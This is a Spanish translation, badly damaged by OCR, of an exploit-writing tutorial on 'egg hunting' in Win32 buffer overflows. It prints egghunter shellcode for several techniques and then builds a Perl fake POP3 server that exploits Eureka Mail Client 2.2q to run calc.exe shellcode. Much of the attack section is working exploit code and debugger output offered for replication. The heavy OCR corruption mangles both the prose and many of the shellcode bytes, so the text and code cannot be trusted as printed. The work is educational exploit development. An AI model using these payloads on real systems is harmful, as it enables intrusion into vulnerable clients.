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Introduccion

La Pascua todavia estd muy lejos, por lo que estprabablemente el
mejor momento para hablar sobre las formas de damaros (para que
estés preparado cuando el Conejo de Pascuasdge tiaa vulnerabilidad
Oday).

En las primeras partes de esta serie de tutorglbse la creacion de
exploits, hemos hablado de los desbordamientosildebpsados en la
forma en la cual puedes provocar la ejecucion deigo0 arbitrario.
En todos los ataques que se han construido hadexha, la ubicacion
donde la Shellcode se coloca es mas o menos asyatic podria hacer
referenciada mediante el uso de un registro (earldg una direccion de la
pila hardcodeada), encargandose de la estabilifiabiljdad .

En algunas partes de la serie, me han habladories ¥&cnicas para saltar
a la Shellcode incluyendo las técnicas que utilizam o varios trampolines
para llegar a la Shellcode. En cada ejemplo quatiksd para demostrar
esto, el tamano del espacio de memoria disponibldaepila era lo
suficientemente grande para adaptarse a nuestitadslecentera.

¢, Qué pasa si el tamafio del buffer disponible esasi@aio pequefio para
meter toda la Shellcode? Bueno, una técnica llan@atzria de Huevos
puede ayudarnos aqui. La Caceria de Huevos ecmad que puede ser
categorizada como “Shellcode por etapas.”

http://en.wikipedia.org/wiki/Shellcode#Staged stmdle

Y que basicamente te permite usar una pequefiadadntie Shellcode
personalizada para encontrar tu Shellcode (el 'Bi)eveal (mas grande)
buscando la Shellcode final en memoria. En otrdsbpas, primero una
pequefia cantidad de codigo se ejecuta, a contdnyata cual intenta
encontrar la Shellcode real y la ejecuta.

Hay 3 condiciones que son importantes para qudésiaa funcione:

1. Debes ser capaz de saltar a (JMP, CALL, PUSH)JREEjecutar

"alguna" Shellcode. La cantidad de espacio deldbuiisponible puede ser
relativamente pequefia, ya que soOlo contiene elallam'cazador de
huevos". El codigo del cazador de huevos debe dgponible en un

lugar predecible (para que fiablemente puedasr satthy ejecutarlo).
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2. La Shellcode final debe estar disponible enralg@ar de la memoria
(pila/heapl...).

3. Debes "etiquetar" o anteponer la Shellcode foal una cadena Unica/
marcador/etiqueta. La Shellcode inicial (el pequé&azador de huevos"),
avanzara por la memoria, en busca de este marcadando lo encuentra,
comenzara a ejecutar el codigo que se coloca fletpués del marcador
con un JMP o CALL. Esto significa que tendras deinir el marcador en

el codigo del cazador de huevos, y también esgubkio en frente de la
Shellcode real.

Buscar en la memoria es hace uso intensivo dekpanlor y puede tomar
mucho tiempo. Asi que cuando se utiliza un cazaéohuevos, te daras
cuenta de que:

- Por un momento (mientras que la memoria se bueda)la memoria de
la CPU se toma.

- Se puede tomar un tiempo antes de que la Shell®ajecute. (Imagina
gue tienes 3 Gb de RAM).

Historia y Técnicas Basicas

Sélo un pequefio niumero de manuales se han esayit® aste tema: Skape
escribié este excelente articulo hace un tiempo:

http://www.hick.org/code/skape/papers/eqghunt-sbhdk.pdf

Y también puedes encontrar buena informacion slabcaceria de huevos
s6lo de heap aqui.

http://rO0tin.blogspot.com/2009/03/heap-only-egapien. html

El documento de Skape realmente es la mejor refiexenbre la caceria de
huevos que se puede encontrar en Internet. Contiemeerie de técnicas y
ejemplos para Linux y Windows, y explica clarameodeno funciona la
caceria de huevos, y como la memoria se puede rodscana manera
segura.

No voy a repetir los detalles técnicos de la Caceei huevos aqui, porque
el documento de Skape esta bien detallado y habtasp mismo.
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Voy a usar un par de ejemplos sobre la forma denemen practica en los
desbordamientos de pila.

Sdlo tienes que recordar:

- El marcador debe ser unico (por lo general esse® definir la etiqueta
como 4 bytes en el interior del cazador de hueyo8,veces (2 veces
después de cada uno, o sea 8 bytes) antepuestheallieode real.

- Vas a tener que probar cual técnica para busearama funciona para un
exploit en particular. (NTAccessCheckAndAuditAlanparece funcionar
mejor en mi sistema).

- Cada técnica requiere un numero determinado pkcesdisponible para
albergar el codigo del cazador de huevos.

La técnica de SEH utiliza cerca de 60 bytes, eadsBadPtr requiere 37
bytes, el método NtDisplayString utiliza 32 byt@ssta ultima técnica solo
funciona en las versiones NT derivados de Winddws. otros deberian
funcionar en Windows 9x también).

Codigo Cazador de Huevos
Como se explico anteriormente, Skape ha esbozatditei@ntes técnicas
para la Caceria de huevos en exploits para Windowa.vez mas, no voy
a explicar la razén exacta detras de los cazadierésievos, yo sélo voy a
darte el cddigo necesario para implementar un caizbelhuevos.
La decision de utilizar un cazador de huevos eticpdar esta basado en:

- Tamano del buffer disponible para ejecutar ehdaz de huevos.

- Si una cierta técnica para buscar a través aeelmoria funciona en la
maquina o en un exploit determinado o no. Séletague probar.
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Cazador de Huevos mediante inyeccion de SEH

El tamafno del cazador de huevos = 60 bytes, tamaliituevo = 8 bytes.

EB21 jmp short 0x23

59 ecx

B8 mov eax,

51 ecx

6AFF byte -Ox1
33DB xor ebx,ebx

648923 mov [fs:ebx],esp
6A02 byte +0x2
59 ecx

8BFB mov edi,ebx

F3AF repe scasd

7507 jnz 0x20

FFE7 jmp edi
6681CBFFOF or bx,0xfff

43 inc ebx

EBED jmp short 0x10
ES8DAFFFFFF call 0x2

6A0C byte +0xc
59 ecx
8B040C mov eax,[esptecx]
B1B8 mov cl,0xb8
83040806 add dword [eax+ecx],byte +0x6
58 eax
83C410 add esp,byte+0x10
50 eax

33C0 XOr eax,eax

C3 ret

Para poder utilizar este cazador de huevos, twRadytazador de huevos
debe tener este aspecto:

$egghunter =" \xeb\x21\x59\xb8
" wOOt ".
"\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xf

"\xf3\xaf\x75\x07\xff\xe 7\x66\x81\xcb\xff\xOf\x4 3\xe
" \xed\xe8\xda\xfi\xfi\xff\x6a\x0c\x59\x8b\x04\x0c\xb
" \xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xcO\xc

(Donde wOOt es la etiqueta. Puedes escribir wO@toctx77 \x30 \x30
\x74" también).

Nota: la técnica de inyeccion SEH probablementevaeera obsoleta,
porque los mecanismos SafeSEH se estan convirtiendel estandar de
facto en los nuevos sistemas operativos y Servaeks®? Asi que si
necesitas usar un cazador de huevos en XP SP3, Wah 7, ya sea que
tengas que evitar SafeSEH de un modo u otro, zartiuna técnica de
cazador de huevos diferente (ver mas abajo).
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Cazador de Huevos usando IsBadReadPtr

Tamarfo del cazador de Huevos = 37 bytes, tamdidugeo = 8 bytes.

33DB xor ebx,ebx
6681CBFFOF or bx,0xfff

43 inc ebx

6A08 byte +0x8

53 ebx
B80OD5BE777 mov eax,0x77e75b0d
FFDO call eax

85C0 test eax,eax

75EC jnz Ox2

B8 mov eax,
8BFB mov edi,ebx
AF scasd

75E7 jnz Ox7

AF scasd

75E4 jnz0x7

FFE7 jmp edi

Payload cazador de huevos:

$egghunter =" \x33\xdb\x66\x81\xcb\xf\x0f\x43\x6a\x08
"\x53\xb8\x0d\x5b\xe 7\x77\xf\xd0\x85\xc0\x 75\xec\xb
" wOOt ".
" \x8b\xfb\xaf\x75\xe 7\xaf\x75\xe4\xff\xe 7

Cazador de Huevos usando NtDisplayString

Tamafo del cazador de Huevos de = 32 bytes, tadwlifauevo = 8 bytes.

6681CAFFOF or dx,0xOfff
42 inc edx

52 edx
6A43 byte +0x43
58 eax
CD2E 0x2e
3C05 cmp al,0x5

5A edx
T4EF jz Ox0

B8 mov eax,
8BFA mov edi,edx
AF scasd

75EA jnz 0x5

AF scasd

75E7 jnz Ox5

FFE7 jmp edi
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Payload cazador de huevos:

$egghunter =
"\x66\X81\XCA\XFF\X0F\x42\x52\x6 A\x43\x58\xCD\x2E\x3 C\XO5\X5A\X74\xEF\

xB8".
" wOOt ".
" \x8B\XFA\XAF\x75\xEA\XAF\x75\xE7\xFF\xE7

Visto en Immunity Debugger:

BE12C0E0

Cazador de huevos usando NtAccessCheck
(AndAuditAlarm)

Otro cazador de huevos que es muy similar al cazseldNtDisplayString
es el siguiente:

$egghunter =
"\x66\x81\XxCA\XFF\xOF\x42\x52\x6A\ \X58\XxCD\x2E\x3C\x05\x5A\x74\xEF\

xB8".
"\x77\x30\x30\x74 ". # Este es el marcador/etiqueta wOOt.
" \x8B\XFA\XAF\X75\XxEA\XAF\X75\xE7\xFF\XxE7 "

En lugar de utilizar NtDisplayString, utiliza
NtAccessCheckAndAuditAlarm (offset 0x02 en el Ki8eeTable) para
evitar que las violacidnes de acceso se apoderenadzador de huevos.

Mas informacion sobre NtAccessCheck se puede ercayui:
http://undocumented.rawol.com/sbs-w2k-5-monitomagrve-api-calls. pdf

Y aqui:http://xosmos.net/txt/nativapi.html

Ademas, mi amigo Lincoln cre6 un video bueno de eatador de huevos:
mira el video aquihttp://www.blip.tv/file/2996904
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Breve explicacion sobre como funcionan los cazadale huevos de
NtDisplayString /NtAccessCheckAndAuditAlarm.

Estos 2 cazadores de huevos utilizan una técnitiéasi pero solo utilizan
una syscall diferente para comprobar si hubo vidlade acceso o no (y
sobrevivir al AV).

Prototipo de NtDisplayString:

NtDisplayString(
IN PUNICODE_STRING String );

Prototipo de NtAccessCheckAndAuditAlarm:

NtAccessCheckAndAuditAlarm(
IN PUNICODE_STRING  SubsystemName OPTIONAL,
IN HANDLE ObjectHandle OPTIONAL,
IN PUNICODE_STRING  ObjectTypeName OPTIONAL,
IN PUNICODE_STRING  ObjectName OPTIONAL,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN ACCESS MASK DesiredAccess,
IN PGENERIC_MAPPING  GenericMapping,
IN BOOLEAN ObjectCreation,
OUT PULONG GrantedAccess,
OUT PULONG AccessStatus,
OUT PBOOLEAN GenerateOnClose );

Prototipos encontrados éttp://undocumented.ntinternals.net/

Esto es lo que hace el cédigo cazador:

6681CAFFOF or dx,0x0fff ; Consigue la ultima dir eccion en la pag.
42 inc edx ; Actda como contador.
;(Incrementa el valor en EDX)
52 push edx ; PUSHea al Stack el val or de EDX.
;(Guarda nuestra dir. ac tual en el Stack)
6A43 push byte +0x2 ; PUSHea 0x2 para NtAccessCheckAndAuditAlarm
; 0 0x43 para NtDisplayS tring al Stack.
58 pop eax ; Recupera 0x2 o 0x43 en EAX
; para ser usado como pa rametro
; en syscall — luego,
CD2E int 0x2e ; le dice a kernel que q uiero hacer una
; syscall usando el regi stro anterior
3C05 cmp al,0x5 ; Chequea si una access violation.
;(0xc0000005== ACCESS VI OLATION) 5
YA pop edx ; Restaura EDX.
TAEF j& XXXX ; Salto atras para inici ar dx OXOFFFF
B890509050 mov eax,0x50905090 ; Esta es la etiquet a (huevo)
8BFA mov edi,edx ; Setea EDI a nuestro pu ntero.
AF scasd ; Comparacion de status.
75EA JNZ XXXXXX ; (Vuelve a INC EDX) Ve si el huevo fue hallado.
AF scasd ; Cuando el huevo sea en contrado...
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75E7 jnz xxxxx ; (Retorna a "INC EDX")
; si solo el 1er huevo f ue encontrado.

FFE7 jmp edi ; EDI apunta al inicio d e la Shellcode.

iGracias Ramezany Shahin!

Implementando el cazador de huevos.
i Toda tu wOOt nos pertenece!

Para demostrar como funciona, vamos a utilizar uobnerabilidad
recientemente descubierta Enreka Mail Client v2.2q, descubierta por
Francis Provenchenttp://www.exploit-db.com/exploits/10235/

Puedes obtener una copia de la version vulnerabdsia aplicacion aqui:
https://www.corelan.be/?dl_id=53

Instala la aplicacion. Después la configuraremos.

Esta vulnerabilidad se produce cuando un clienteosecta a un servidor
POP3. Si este servidor POP3 envia datos "-ERRbsaygespecificamente
disefiados al cliente, el cliente se bloguea y puegeutar codigo
arbitrario.

Vamos a construir el exploit desde cero en XP $B&$ (VirtualBox).

Usaremos algunas lineas simples de codigo enpReal crear un falso
servidor POP3 y enviar una cadena de 2000 byté®(pae metasploit).

En primer lugar, consigue una copia del plugin ppvEddr para
ImmunityDBG. Pon el plugin en la carpeta pycommands
ImmunityDBG.

Crea un patrén de metasploit de 2000 caracterdsodé® ImmunityDBG
mediante el siguiente comando:

Ipvefindaddr pattern_create 2000
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BEADFBED
BERCFEED0
BERCFEED0

BEADFEED
HEAOFBE0

Ipvefindaddr pattern_create 2000

En la carpeta de ImmunityDBG, se creara un arclévynado mspattern.txt

gue contiene el patrén de 2000 caracteres de Meiasp

2 Immunity Debugoer

2 My Recent Documents

Deszktop
B My Documents

-J ty Computer
4 3% Floppy (&)
g Local Dizk [C:]
|5 Program Files

Desktop 5 Immunity Inc
(5 mmunity Debugger

. @ YirtualB ox Guest Additions [D:]

S trp on 'wbossee' [0

-l o2 mE

Iﬁ
Ix

MSACM32,bak
MSACME2, udd
MSCTF. bak
MSCTF.udd
rnsckfirme. bak
rnsckfirme, udd
msimng32. bak
rsirng32,udd
Ej mspatkern. bxk
[e=fl rasvervmsn. hak

Abre el archivo y copia la cadena de texto en dhpapeles.

Ahora, crea tu script de exploit en Perl y utillea 2000 caracteres como

Payload emy $junk.

Socket;

$junk =" Aal... "; #Pega el patron de 2000 caracteres aqui

$payload=$junk;

#set up listener on port 110
$port=110;
$proto= ('tcp’);
(SERVER,PF_INET,SOCK_STREAM,$proto);
$paddr=sockaddr_in($port,INADDR_ANY);

(SERVER,$paddr);
(SERVER,SOMAXCONN);
" [+] Listening on tcp port 110 [POP3]... \

" [+] Configure Eureka Mail Client to connect to this
$client_addr;
while($client_addr=
{

(CLIENT,SERVER))

" [+] Client connected, sending evil payload\n
while(1)
{

A=A E A E R E AR e
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CLIENT" -ERR ".$payload." \n'";
' ->Sent ($payload)." bytes\n

CLIENT;
" [+] Connection closed\n

Nota:

- No uses 2000 A’s o al algo por el estilo. Es irtgode para el bien de
este tutorial usar un patron de Metasploit. Madaende, se entendera mejor
por qué esto es importante.

- Si los 2000 caracteres no desencadenan el desbemto/crash, trata de
usar un patron de Metasploit de 5000 caracterss ¢ugar

- He utilizado un bucle while (1) porque el cliente se cuelga después del
primer Payload -ERR. Lo sé, puede verse mejor $ergsl averiguar
cuantas iteraciones son realmente necesarias |oanaehr el cliente, pero
me gusta usar bucles infinitos porque funcionarbtémla mayoria de las
veces©

Ejecuta este script de Perl. Deberia decir algoocesto:

-azploit.pl

[+] Configure Eureka Hail Client to connect to thiz host and read your nail

Ahora ejecuta Eureka Mail Client. Dale a “Options” “Connection
Settings” y escribe la direccion IP de la maquina ejecuta el script de
Perl como servidor POP3. En mi ejemplo, yo estogri@ado el falso
servidor POP3 de Perl en 192.168.0.193. Asi quesamfiguracion es la
siguiente:

x|

— Servers

Server pair name IMaln SEIVElS

FOF3 [incoming) |1 921680193

SMTF [outgeing] |1 92.168.0.193

— Authentication

FOF Uzername Ifake

POP Pazsward I ”””””




Creacién de Exploits 8: Caceria de Huevos en Win3ir corelancOd3r
traducido por lvinson/CLS

Tendrads que introducir algo en Nombre de usuaricogtrasefa, pero
puede ser cualquier cosa. Guarda los ajustes.

Ahora attacha Eureka Mail Client y déjalo correr.

4. Immunity Debugger

File Miew Debug Plugins Immlib Options  Sindow  Help  Jobs
OB EE ax» I bfH2lY+ 1 elmtwh

FIO MHame Service Listening I indow

Default IME
Eureka Email - Peter

Cuando se ejecuta el cliente (atacado en ImmDBfg)yesa a Eureka Malil
Client, dale a "File" y selecciona "Send and ree&imails."

® Eureka Email - Peter

File Edit Email ©Options Help
Send and receive emails  Chrl+M la

Faldars kel LE

La aplicacion muere. Puedes detener el script die(fee todavia estara
ejecutandose - loop infinito). Mira el Log y logigtros de ImmDBG:

"Access violation when executing [37784136]."

Los registros se ven asi:

isters [FFLU) < <, <,

Ahora ejecuta el siguiente comando:

Ipvefindaddr suggest
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Ahora quedara claro por qué he usado un patronetaddloit y no uno de
2000 A’s. Al ejecutar el comando jsuggest de pdeafidr, este plugin
evaluara el crash, buscara referencias de Metasplatard de encontrar
offsets, tratara de decir qué tipo de exploit @ackiso tratara de construir
un payload de ejemplo, con los offsets correctos:

Scesploit-writ ing—tutorial-part-1-stack-baze:

|!pveiindaddr suggest

La vida es buen®
Asi que, ahora sabemos que:

- Es una sobrescritura directa de RET. El RET ésesaorito después de
710 bytes (de VirtualBox). Me di cuenta que, depemdb de la longitud
de la direccién IP o el nombre de host que sezatpara hacer referencia al
servidor POP3 Eureka Mail Client (en Configuracidle conexion
“connection settings”), el desplazamiento para estnbir RET puede
variar. Asi que si usas 127.0.0.1 (que es de 4sbgtas corto que
192.168.0.193), el desplazamiento sera 714). Hayfarma de hacer el
exploit genérico: obten la longitud de la direccl®&nlocal (porque es alli
donde Eureka Mail Client se conectard) y calculsamlaiio del offset o
desplazamiento basado en la longitud de la dirad&16(723 - Longitud de
IP).

- Tanto ESP y EDI tienen una referencia a la Sbedc ESP después de
714 bytes y EDI apuntan a un desplazamiento deb98ds. De nuevo,
modifica los offsets de acuerdo con lo que se ericaieen tu propio
sistema.

Hasta aqui todo bien. Podriamos ir a EDI o0 ESP.
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ESP apunta a una direccion en la pila (0x0012cgi@EPI apunta a una
direccién en la seccion .data de la aplicaciéon (@¥3678 - ver mapa de la
memoria).

pe| Acocess | Initial) Mape

Si nos fijamos en ESP, podemos ver que solo tieaecantidad limitada
de espacio disponible para la Shellcode:

|

ddress | Hew

Por supuesto, podrias saltar a ESP, y escribigogdimpback o de salto

trasero en ESP asi que podrias usar una gran gelrteuffer antes de

sobrescribir el RET. Pero aun asi soélo tendras cobdobytes de espacio,
lo cual es bueno para ejecutar la calculadora grhalgunas otras cosas
béasicas.

Saltar a EDI puede funcionar también. UHavéfindaddr j edi' para
encontrar todos los trampolines "JMP EDI". Todas d@recciones son
escritas en el archivo j.txt. Voy a usar Ox7E47B%&3de user32.dll en
Windows XP SP3.
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Cambia el script y, prueba si este exploit de saiteira directa de RET
normal funcionaria:

Socket;
#fill out the IP or hostname
#which is used by Eureka EMail as 3 server
#note : must be exact match !
$localserver =" 192.168.0.193 ';
#calculate to EIP
$junk =" A"x (723 - ($localserver));

$ret= ('V',0x7E47B533); #jmp edi desde user32.dll XP SP3
$padding =" \x90 " x 277,

#calc.exe
$shellcode="  \x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x4 9\x49 "

" \x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x3
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x3
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x4
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x4 7\x3
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x3
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x4
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4
"\X54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x5
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4
" \x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x5
"\x56\x45\x34\x4c\x4b\x4 7\x36\x50\x30\x4c\x4b\x51\x5
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x3
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x5
" \x48\x4c\x30\x4d\x5a\x43\x34\x51\x41\x45\x38\x4a\x3
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x4
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41 "

$payload=$junk.$ret.$padding.$shellcode;

#set up listener on port 110
$port=110;
$proto= ('tcp’);
(SERVER,PF_INET,SOCK_STREAM,$proto);
$paddr=sockaddr_in($port,INADDR_ANY);
(SERVER,$paddr);
(SERVER,SOMAXCONN);
" [+] Listening on tcp port 110 [POP3]... \n
" [+] Configure Eureka Mail Client to connect to this host\n ";
$client_addr;
while($client_addr= (CLIENT,SERVER))

{
" [+] Client connected, sending evil payload\n
while(1)
{
CLIENT" -ERR ".$payload." \n ";
" ->Sent ($payload)." bytes\n
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CLIENT;
" [+] Connection closed\n

Attacha Eureka con ImmDBG, y pon un BP en OX7E47B3G81P EDI).

Ejecuta el exploit. InmDBG para en JMP EDI. Cuands fijamos en los
registros ahora, en vez de encontrar nuestra $bellen EDI, vemos A’s.
Eso no es lo que esperaba, pero aun asi es bummgogpcontrolamos las
A’s. Este escenario, sin embargo, seria mas o nemosmo que cuando
se utiliza JMP ESP: solo tendrias aproximadamed®ebytes de espacio.
También, por supuesto, puedes utilizar NOP’S earldg A’s, y escribir
un pequefio salto justo antes de que el RET seassulo. Luego coloca la
Shellcode directamente después de sobreescribiRElI y deberia
funcionar también.

CPU - n thread, module USER32

41 41 41 41 41 41

Pero vamos a hacerlo de la forma "dificil" esta, s&#o para demostrar que
funciona. A pesar de que veamos A’s donde podespesabamos ver la
Shellcode, nuestra Shellcode sigue colocada em dligar de la memoria.

Si miramos un poco mas lejos, podemos ver nuesh@ic8de en
0x00473992:

Hddress |Hex dump

d 000473992
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Esta direccidn no puede ser estatica. Asi que, sanfacer el exploit mas
dindmico y utilizar un cazador de huevos para emapry ejecutar la
Shellcode.

Usaremos un JMP ESP inicial (ya que ESP estd a &Mobytes de
distancia), pongamos nuestro cazador de huevosSén & continuacion,
escribibamos algo de relleno, y luego colocamosstnaieShellcode real
(antepuesta con el marcador), entonces no impataled esté nuestra
Shellcode, el cazador huevos debe encontrarlecytejda.

El codigo del cazador huevos (estoy wusando el rmétod
NtAccessCheckAndAuditAlarm en este ejemplo) esgeliente:

$egghunter =
" \X66\x81\XCAWXFF\XxOF\x42\x52\x6 A\x02\x58\x CD\x2E\x3 C\XO5\X5A\X74\XEF\
xB8".

"\x77\x30\x30\x74 ". # este es el marcador/etiqueta: w00t
" \X8B\XFA\XAF\x75\XEA\XXAF\x75\XxE 7\XFF\XE 7

La etiqueta utilizada en este ejemplo es la caddltd Esta Shellcode de
32 bytes buscard memoria para "w00twO0Ot" y ejeéutdrcdodigo justo
detras. Este es el codigo que tiene que ser cala@adESP.

Cuando escribimos nuestra Shellcode en el Payltademos que
anteponerla a w00twOO0t (= 2 veces la etiqueta pulss de todo, solo
buscard una sola instancia del huevo probablemeat& lugar a la
busqueda de la segunda parte del cazador de hueigoso, y no la
Shellcode).

En primer lugar, busca JMP ESP (!Pvefindaddr | .edfy a usar
Ox7E47BCAF (JMP ESP) desde user32.dll (XP SP3).

Cambia el script del exploit para que el PayloaghHa siguiente:

- Sobrescribir EIP después de 710 bytes con JMP ESP

- Poner el $egghunter en ESP. El egghunter bube@&wO00t."

- Afadir un poco de relleno (podria ser cualquiesac NOP’S, A’s,
siempre y cuando no se utiliza wO@).

- Poner "w00twO0Ot" antes de la Shellcode real.
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- Escribir la Shellcode real.

Socket;
#fill out the IP or hostname
#which is used by Eureka EMail as 3 server
#note : must be exact match !

$localserver =" 192.168.0.193
#calculate to EIP
$junk =" A" x (723 - ($localserver));
$ret= ('V',0x7TE4A7BCAF); #jmp esp from user32.dll
$padding=" \x90 " x 1000;
$egghunter =
"\x66\x81\XCA\XFF\XxOF\x42\x52\x6 A\x02\x58\xCD\x2E\x3 C\XO5\x5A\X74\XEF\
xB8".
"\x77\x30\x30\x74 ". # Este es el marcador/etiqueta wOOt.
" \x8B\XFA\XAF\X75\XxEA\XAF\X75\xE7\xFF\XxE7 "

#calc.exe
$shellcode="  \x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x4 9\x49 "

"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x3 0\x56
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x3 0\x41
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x4 2\x42
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4 c\x4a
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x4 7\x3 5\x47
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4 f\x4c
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x3 1\x4a
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4 e\x50
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x4 4\x43
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4 b\x4a
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x5 5\x4c
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4 b\x44
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4 b\x4c
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4 c\x47
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x5 0\x50
"\x56\x45\x34\x4c\x4b\x4 7\x36\x50\x30\x4c\x4b\x51\x5 0\x44
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x3 8\x43
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x5 0\x42
" \x48\x4c\x30\x4d\x5a\x43\x34\x51\x41\x45\x38\x4a\x3 8\x4b
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x4 3\x45
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41 "

$payload=$junk.$ret.$egghunter.$padding." wO0twO0O0t ".$shellcode;

#set up listener on port 110
$port=110;
$proto= ('tep’);
(SERVER,PF_INET,SOCK_STREAM,$proto);
$paddr=sockaddr_in($port,INADDR_ANY);
(SERVER,$paddr);
(SERVER,SOMAXCONN);
" [+] Listening on tcp port 110 [POP3]... \
" [+] Configure Eureka Mail Client to connect to this host\n "
$client_addr;
while($client_addr= (CLIENT,SERVER))

{
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" [+] Client connected, sending evil payload\n
while(1)
{

CLIENT" -ERR ".$payload." \n'";

" ->Sent " ($payload)." bytes\n  ";

CLIENT;
" [+] Connection closed\n

Attacha Eureka con ImmDBG, y pon un BP en Ox7E47BC@&ontinla
con la ejecucion de Eureka.

Ejecuta el exploit. InmDBG se detendra en el BBME ESP.

Ahora mira ESP (antes saltar). Podemos ver nuest&pador en
0x0012cd6c.

En Ox12cd7d (MOV EAX, 74303077), encontramos naesadenavOOt.

FFE4
OO FST 5T
FFES EEP
ocoe

DWORD PTR

Edt View Help

‘(‘ Hex @ Dez  Dct ( Bin Hr Degrees Radians " Grads
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Perfecto.

Como un pequerio ejercicio, vamos a tratar de avarigobnde exactamente
se encuentra la Shellcode en la memoria cuandejégatada.

Pon un BP entre los 2 huevos y la Shellcode (gria semo 0xCC antes
de la Shellcode), y ejecuta el exploit de nuevia¢aiado en el depurador).

Aqui vemos el huevo
(77 30 30 74 77 30 30 74) seguido
por el BP (0xCC)_

EIP (BP): 0x004739AD.

=> Lejos de nuestra direccion en
la pila.

El huevo + la Shellcode se encuentra en la sead@mecursos de la
aplicacion.

86 {itzelf)

Parece que el cazador (en 0x0012cd6c) tuvo queabwsc la memoria
hasta que llegé 0x004739AD.
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Si miramos hacia atras (ponemos un BP en JMP ESHRjamos la pila,
vemos esto:

Cazador de Huevos

10
iy
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o =
=
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o
=

No hay Shellcode aqui.

A pesar de que la Shellcode est4 lejos del cazBldopasé mucho tiempo
antes de que el cazador de huevos pudiera encérygrhuevos y ejecutar
la Shellcode. jBien!

=
(g

Pero ¢y si la Shellcode esta en el Heap? ¢ Coémanpsdencontrar todas
las instancias de la Shellcode en la memoria? pQset si se tarda mucho
tiempo antes de que la Shellcode sea encuentr&a® gasa si tenemos
que modificar el cazador para que empiece a busecarun lugar
determinado en la memoria? y ¢hay alguna mane@ahbiar el lugar
donde el cazador de huevos iniciara la busqueda? dbm cantidad de
preguntas, asi que vamos a continuar.

Ajustando la posicién inicial del cazador de hueJpsr diversion,
velocidad y fiabilidad).
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Cuando el cazador de huevos, en nuestro ejemploe iau ejecucion,
llevara a cabo las siguientes instrucciones.

Vamos a suponer que EDX apunta a 0x0012E468 emeste, y el huevo
esta en 0x0012f555 mas o menos.

0012F466 52

0012F467 6A 02
0012F469 58

La primera instruccibn pondra Ox0012FFFF en EDX. siguiente
instruccion (INC EDX) incrementa EDX con 1, entosideDX apunta
ahora a 0x00130000. Este es el final del marcahdtila pila, por lo que
la busqueda aun no empieza en una ubicacion eodgqgtencialmente
encontraria una copia de la Shellcode en el misargarde la pila. (Ok, no
hay ninguna copia de la Shellcode en ese luganuestro ejemplo, pero
podria haber sido el caso). El huevo + Shellcotine=n algun lugar de la
memoria, y el cazador de huevos eventualmente &acanel huevo
+ Shellcode. No hay problemas.

Si la Shellcode so6lo se pudiera encontrar en etonde pila actual (que
seria raro, pero bueno, puede suceder), entoneeke mue no sea posible
encontrar la Shellcode usando este cazador de siypooque el cazador
comenzaria a buscar *después* de la Shellcode)ia@lente, si puedes
ejecutar algunas lineas de codigo, y la Shellcstie en la pila, asi, puede
ser mas facil saltar a la Shellcode directamenidiane el uso de un salto
cercano o lejano usando un offset. Pero tal veseadiable hacerlo asi.

De todas formas, podria haber un caso en que ga tgre modificar el
cazador de huevos un poco, para que empiece arlarsehlugar correcto
(posiciondndose antes y lo mas cerca posible dehlesos y luego,
ejecutar el bucle de basqueda).

Haz un poco de depuracion y veras. (Mira el regig€bDl cuando el
cazador de huevos corra y veras donde empiezdd. f8bdificacion del
cazador de huevos se requiere, entonces puedda/@lena jugar un poco
